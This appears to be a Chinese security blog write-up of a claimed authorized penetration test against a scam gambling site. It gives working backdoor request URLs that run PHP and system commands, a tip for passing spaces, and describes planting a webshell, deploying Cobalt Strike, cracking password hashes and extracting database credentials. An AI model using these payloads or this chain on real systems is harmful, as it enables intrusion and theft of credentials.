【实战】记一次捡漏的杀猪盘测试

乌鸦安全

发布于 2022-12-19 16:07:22

5490

发布于 2022-12-19 16:07:22

文章被收录于专栏：乌鸦安全

✎ 阅读须知

乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限，如转载或传播此文章，需保证文章的完整性，未经允许，禁止转载！

本文所提供的工具仅用于学习，禁止用于其他，请在24小时内删除工具文件！！！

1. 说明

本文是很久之前写的，而且是有授权，整个过程很简单。

这个杀猪盘是网上2年前就已经公开的，因为其程序本身就存在后门。

getshell的时候直接从后门上去就行了。

2. 实战

http://xxx.com

直接利用后门加上payload：

http://xxxx.com/lib/GoogleChartMapMarker.php?google88990=phpinfo();

测试之后发现，在这里相当于是一个shell了：

http://xxxx.com/lib/markers/GoogleChartMapMarker.php?google88990=eval 1;

稍微修改下：

http://xxxx0.com/lib/classes/googleChart/markers/GoogleChartMapMarker.php?google88990=system("whoami");

暂时没有杀软：

=========== ============
System Idle Process              0 Services                   0         24 K
System                           4 Services                   0        364 K
smss.exe                       220 Services                   0      1,260 K
csrss.exe                      308 Services                   0      6,128 K
wininit.exe                    360 Services                   0      5,384 K
csrss.exe                      368 Console                    1      6,144 K
winlogon.exe                   400 Console                    1      5,028 K
services.exe                   456 Services                   0      8,472 K
lsass.exe                      464 Services                   0     14,036 K
lsm.exe                        472 Services                   0      6,676 K
svchost.exe                    564 Services                   0      9,848 K
svchost.exe                    640 Services                   0      7,764 K
LogonUI.exe                    720 Console                    1     17,156 K
svchost.exe                    732 Services                   0     12,924 K
svchost.exe                    772 Services                   0     31,000 K
svchost.exe                    828 Services                   0     11,216 K
svchost.exe                    876 Services                   0      6,740 K
svchost.exe                    916 Services                   0     15,520 K
svchost.exe                    292 Services                   0     11,840 K
blnsvr.exe                     956 Services                   0      6,880 K
httpd.exe                     1052 Services                   0     18,744 K
mysqld.exe                    1152 Services                   0     55,184 K
winsw.exe                     1200 Services                   0     18,792 K
updaemon.exe                  1384 Services                   0      3,580 K
conhost.exe                   1392 Services                   0      4,724 K
httpd.exe                     1400 Services                   0     70,216 K
cmd.exe                       1436 Services                   0      4,396 K
WmiPrvSE.exe                  1528 Services                   0     21,208 K
svchost.exe                   2992 Services                   0      8,836 K
svchost.exe                   3024 Services                   0      6,108 K
WmiPrvSE.exe                  3572 Services                   0     10,244 K
GoogleCrashHandler.exe        3840 Services                   0      1,204 K
GoogleCrashHandler64.exe      3864 Services                   0      1,108 K
sleep.exe                     3076 Services                   0      3,504 K
cmd.exe                       3356 Services                   0      3,760 K
conhost.exe                   1588 Services                   0      3,048 K
tasklist.exe                  3620 Services                   0      5,988 K
WmiPrvSE.exe                  3108 Services                   0      7,140 K

但是其他的命令一直都不能用，最后发现了问题，在执行命令空格间需要使用+充当空格。

3. 上cs

http://xxxx0.com/1.php

先上马，再上cs，抓hash，解密之后获取密码：

Administrator 
******

把这个文件下载下来。下载下来之后，发现了其中的账号密码等信息：

<?php
require_once('sqlin.php');
$conf['debug']['level']=5;

/*  数据库配置  */
$conf['db']['dsn']='mysql:host=127.0.0.1;dbname=*****y';
$conf['host']='127.0.0.1';
$conf['port']='3306';
$conf['db']['user']='root';
$conf['db']['password']='*****';
$conf['db']['charset']='utf8';
$conf['db']['prename']='ssc_';

$conf['safepass']='123456';     //后台登陆安全码